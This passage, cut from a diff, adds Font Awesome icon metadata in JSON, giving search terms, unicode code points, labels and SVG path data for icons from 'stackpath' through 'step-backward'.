36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z" + } + }, + "free": [ + "brands" + ] + }, + "stackpath": { + "changes": [ + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f842", + "label": "Stackpath", + "svg": { + "brands": { + "last_modified": 1558987775917, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z" + } + }, + "free": [ + "brands" + ] + }, + "stamp": { + "changes": [ + "5.1.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "art", + "certificate", + "imprint", + "rubber", + "seal" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5bf", + "label": "Stamp", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635720, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 512h448v-64H32v64zm384-256h-66.56c-16.26 0-29.44-13.18-29.44-29.44v-9.46c0-27.37 8.88-53.41 21.46-77.72 9.11-17.61 12.9-38.39 9.05-60.42-6.77-38.78-38.47-70.7-77.26-77.45C212.62-9.04 160 37.33 160 96c0 14.16 3.12 27.54 8.69 39.58C182.02 164.43 192 194.7 192 226.49v.07c0 16.26-13.18 29.44-29.44 29.44H96c-53.02 0-96 42.98-96 96v32c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-32c0-53.02-42.98-96-96-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M32 512h448v-64H32v64zm384-256h-66.56c-16.26 0-29.44-13.18-29.44-29.44v-9.46c0-27.37 8.88-53.41 21.46-77.72 9.11-17.61 12.9-38.39 9.05-60.42-6.77-38.78-38.47-70.7-77.26-77.45C212.62-9.04 160 37.33 160 96c0 14.16 3.12 27.54 8.69 39.58C182.02 164.43 192 194.7 192 226.49v.07c0 16.26-13.18 29.44-29.44 29.44H96c-53.02 0-96 42.98-96 96v32c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-32c0-53.02-42.98-96-96-96z" + } + }, + "free": [ + "solid" + ] + }, + "star": { + "changes": [ + "1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "achievement", + "award", + "favorite", + "important", + "night", + "rating", + "score" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f005", + "label": "Star", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635723, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z" + }, + "regular": { + "last_modified": 1628088635024, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528.1 171.5L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6zM388.6 312.3l23.7 138.4L288 385.4l-124.3 65.3 23.7-138.4-100.6-98 139-20.2 62.2-126 62.2 126 139 20.2-100.6 98z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528.1 171.5L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6zM388.6 312.3l23.7 138.4L288 385.4l-124.3 65.3 23.7-138.4-100.6-98 139-20.2 62.2-126 62.2 126 139 20.2-100.6 98z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "star-and-crescent": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "islam", + "muslim", + "religion" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f699", + "label": "Star and Crescent", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635720, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M340.47 466.36c-1.45 0-6.89.46-9.18.46-116.25 0-210.82-94.57-210.82-210.82S215.04 45.18 331.29 45.18c2.32 0 7.7.46 9.18.46 7.13 0 13.33-5.03 14.75-12.07 1.46-7.25-2.55-14.49-9.47-17.09C316.58 5.54 286.39 0 256 0 114.84 0 0 114.84 0 256s114.84 256 256 256c30.23 0 60.28-5.49 89.32-16.32 5.96-2.02 10.28-7.64 10.28-14.26 0-8.09-6.39-15.06-15.13-15.06zm162.99-252.5l-76.38-11.1-34.16-69.21c-1.83-3.7-5.38-5.55-8.93-5.55s-7.1 1.85-8.93 5.55l-34.16 69.21-76.38 11.1c-8.17 1.18-11.43 11.22-5.52 16.99l55.27 53.87-13.05 76.07c-1.11 6.44 4.01 11.66 9.81 11.66 1.53 0 3.11-.36 4.64-1.17L384 335.37l68.31 35.91c1.53.8 3.11 1.17 4.64 1.17 5.8 0 10.92-5.23 9.81-11.66l-13.05-76.07 55.27-53.87c5.91-5.77 2.65-15.81-5.52-16.99z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M340.47 466.36c-1.45 0-6.89.46-9.18.46-116.25 0-210.82-94.57-210.82-210.82S215.04 45.18 331.29 45.18c2.32 0 7.7.46 9.18.46 7.13 0 13.33-5.03 14.75-12.07 1.46-7.25-2.55-14.49-9.47-17.09C316.58 5.54 286.39 0 256 0 114.84 0 0 114.84 0 256s114.84 256 256 256c30.23 0 60.28-5.49 89.32-16.32 5.96-2.02 10.28-7.64 10.28-14.26 0-8.09-6.39-15.06-15.13-15.06zm162.99-252.5l-76.38-11.1-34.16-69.21c-1.83-3.7-5.38-5.55-8.93-5.55s-7.1 1.85-8.93 5.55l-34.16 69.21-76.38 11.1c-8.17 1.18-11.43 11.22-5.52 16.99l55.27 53.87-13.05 76.07c-1.11 6.44 4.01 11.66 9.81 11.66 1.53 0 3.11-.36 4.64-1.17L384 335.37l68.31 35.91c1.53.8 3.11 1.17 4.64 1.17 5.8 0 10.92-5.23 9.81-11.66l-13.05-76.07 55.27-53.87c5.91-5.77 2.65-15.81-5.52-16.99z" + } + }, + "free": [ + "solid" + ] + }, + "star-half": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "achievement", + "award", + "rating", + "score", + "star-half-empty", + "star-half-full" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f089", + "label": "star-half", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635721, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6V0z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6V0z" + }, + "regular": { + "last_modified": 1628088635022, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 385.3l-124.3 65.4 23.7-138.4-100.6-98 139-20.2 62.2-126V0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6v-54.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 385.3l-124.3 65.4 23.7-138.4-100.6-98 139-20.2 62.2-126V0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6v-54.3z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "star-half-alt": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "achievement", + "award", + "rating", + "score", + "star-half-empty", + "star-half-full" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5c0", + "label": "Alternate Star Half", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635721, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 536 512\"><path d=\"M508.55 171.51L362.18 150.2 296.77 17.81C290.89 5.98 279.42 0 267.95 0c-11.4 0-22.79 5.9-28.69 17.81l-65.43 132.38-146.38 21.29c-26.25 3.8-36.77 36.09-17.74 54.59l105.89 103-25.06 145.48C86.98 495.33 103.57 512 122.15 512c4.93 0 10-1.17 14.87-3.75l130.95-68.68 130.94 68.7c4.86 2.55 9.92 3.71 14.83 3.71 18.6 0 35.22-16.61 31.66-37.4l-25.03-145.49 105.91-102.98c19.04-18.5 8.52-50.8-17.73-54.6zm-121.74 123.2l-18.12 17.62 4.28 24.88 19.52 113.45-102.13-53.59-22.38-11.74.03-317.19 51.03 103.29 11.18 22.63 25.01 3.64 114.23 16.63-82.65 80.38z\"/></svg>", + "viewBox": [ + "0", + "0", + "536", + "512" + ], + "width": 536, + "height": 512, + "path": "M508.55 171.51L362.18 150.2 296.77 17.81C290.89 5.98 279.42 0 267.95 0c-11.4 0-22.79 5.9-28.69 17.81l-65.43 132.38-146.38 21.29c-26.25 3.8-36.77 36.09-17.74 54.59l105.89 103-25.06 145.48C86.98 495.33 103.57 512 122.15 512c4.93 0 10-1.17 14.87-3.75l130.95-68.68 130.94 68.7c4.86 2.55 9.92 3.71 14.83 3.71 18.6 0 35.22-16.61 31.66-37.4l-25.03-145.49 105.91-102.98c19.04-18.5 8.52-50.8-17.73-54.6zm-121.74 123.2l-18.12 17.62 4.28 24.88 19.52 113.45-102.13-53.59-22.38-11.74.03-317.19 51.03 103.29 11.18 22.63 25.01 3.64 114.23 16.63-82.65 80.38z" + } + }, + "free": [ + "solid" + ] + }, + "star-of-david": { + "changes": [ + "5.3.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "jewish", + "judaism", + "religion" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f69a", + "label": "Star of David", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635721, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 464 512\"><path d=\"M405.68 256l53.21-89.39C473.3 142.4 455.48 112 426.88 112H319.96l-55.95-93.98C256.86 6.01 244.43 0 232 0s-24.86 6.01-32.01 18.02L144.04 112H37.11c-28.6 0-46.42 30.4-32.01 54.61L58.32 256 5.1 345.39C-9.31 369.6 8.51 400 37.11 400h106.93l55.95 93.98C207.14 505.99 219.57 512 232 512s24.86-6.01 32.01-18.02L319.96 400h106.93c28.6 0 46.42-30.4 32.01-54.61L405.68 256zm-12.78-88l-19.8 33.26L353.3 168h39.6zm-52.39 88l-52.39 88H175.88l-52.39-88 52.38-88h112.25l52.39 88zM232 73.72L254.79 112h-45.57L232 73.72zM71.1 168h39.6l-19.8 33.26L71.1 168zm0 176l19.8-33.26L110.7 344H71.1zM232 438.28L209.21 400h45.57L232 438.28zM353.29 344l19.8-33.26L392.9 344h-39.61z\"/></svg>", + "viewBox": [ + "0", + "0", + "464", + "512" + ], + "width": 464, + "height": 512, + "path": "M405.68 256l53.21-89.39C473.3 142.4 455.48 112 426.88 112H319.96l-55.95-93.98C256.86 6.01 244.43 0 232 0s-24.86 6.01-32.01 18.02L144.04 112H37.11c-28.6 0-46.42 30.4-32.01 54.61L58.32 256 5.1 345.39C-9.31 369.6 8.51 400 37.11 400h106.93l55.95 93.98C207.14 505.99 219.57 512 232 512s24.86-6.01 32.01-18.02L319.96 400h106.93c28.6 0 46.42-30.4 32.01-54.61L405.68 256zm-12.78-88l-19.8 33.26L353.3 168h39.6zm-52.39 88l-52.39 88H175.88l-52.39-88 52.38-88h112.25l52.39 88zM232 73.72L254.79 112h-45.57L232 73.72zM71.1 168h39.6l-19.8 33.26L71.1 168zm0 176l19.8-33.26L110.7 344H71.1zM232 438.28L209.21 400h45.57L232 438.28zM353.29 344l19.8-33.26L392.9 344h-39.61z" + } + }, + "free": [ + "solid" + ] + }, + "star-of-life": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "doctor", + "emt", + "first aid", + "health", + "medical" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f621", + "label": "Star of Life", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635722, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M471.99 334.43L336.06 256l135.93-78.43c7.66-4.42 10.28-14.2 5.86-21.86l-32.02-55.43c-4.42-7.65-14.21-10.28-21.87-5.86l-135.93 78.43V16c0-8.84-7.17-16-16.01-16h-64.04c-8.84 0-16.01 7.16-16.01 16v156.86L56.04 94.43c-7.66-4.42-17.45-1.79-21.87 5.86L2.15 155.71c-4.42 7.65-1.8 17.44 5.86 21.86L143.94 256 8.01 334.43c-7.66 4.42-10.28 14.21-5.86 21.86l32.02 55.43c4.42 7.65 14.21 10.27 21.87 5.86l135.93-78.43V496c0 8.84 7.17 16 16.01 16h64.04c8.84 0 16.01-7.16 16.01-16V339.14l135.93 78.43c7.66 4.42 17.45 1.8 21.87-5.86l32.02-55.43c4.42-7.65 1.8-17.43-5.86-21.85z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M471.99 334.43L336.06 256l135.93-78.43c7.66-4.42 10.28-14.2 5.86-21.86l-32.02-55.43c-4.42-7.65-14.21-10.28-21.87-5.86l-135.93 78.43V16c0-8.84-7.17-16-16.01-16h-64.04c-8.84 0-16.01 7.16-16.01 16v156.86L56.04 94.43c-7.66-4.42-17.45-1.79-21.87 5.86L2.15 155.71c-4.42 7.65-1.8 17.44 5.86 21.86L143.94 256 8.01 334.43c-7.66 4.42-10.28 14.21-5.86 21.86l32.02 55.43c4.42 7.65 14.21 10.27 21.87 5.86l135.93-78.43V496c0 8.84 7.17 16 16.01 16h64.04c8.84 0 16.01-7.16 16.01-16V339.14l135.93 78.43c7.66 4.42 17.45 1.8 21.87-5.86l32.02-55.43c4.42-7.65 1.8-17.43-5.86-21.85z" + } + }, + "free": [ + "solid" + ] + }, + "staylinked": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3f5", + "label": "StayLinked", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722337, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 440 512\"><path d=\"M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "440", + "512" + ], + "width": 440, + "height": 512, + "path": "M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z" + } + }, + "free": [ + "brands" + ] + }, + "steam": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1b6", + "label": "Steam", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861023, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z" + } + }, + "free": [ + "brands" + ] + }, + "steam-square": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1b7", + "label": "Steam Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861022, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z" + } + }, + "free": [ + "brands" + ] + }, + "steam-symbol": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3f6", + "label": "Steam Symbol", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861022, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z" + } + }, + "free": [ + "brands" + ] + }, + "step-backward": { + "changes": [ + "1", + "5.0.0", + "5.10.2", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "beginning", + "first", + "previous", + "rewind", + "start" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f048", + "label": "step-backward", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635725, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 468V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12v176.4l195.5-181C352.1 22.3 384 36.6 384 64v384c0 27.4-31.9 41.7-52.5 24.6L136 292.7V468c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12z\"/></svg>", + "viewBox": [ + "0", + "0", 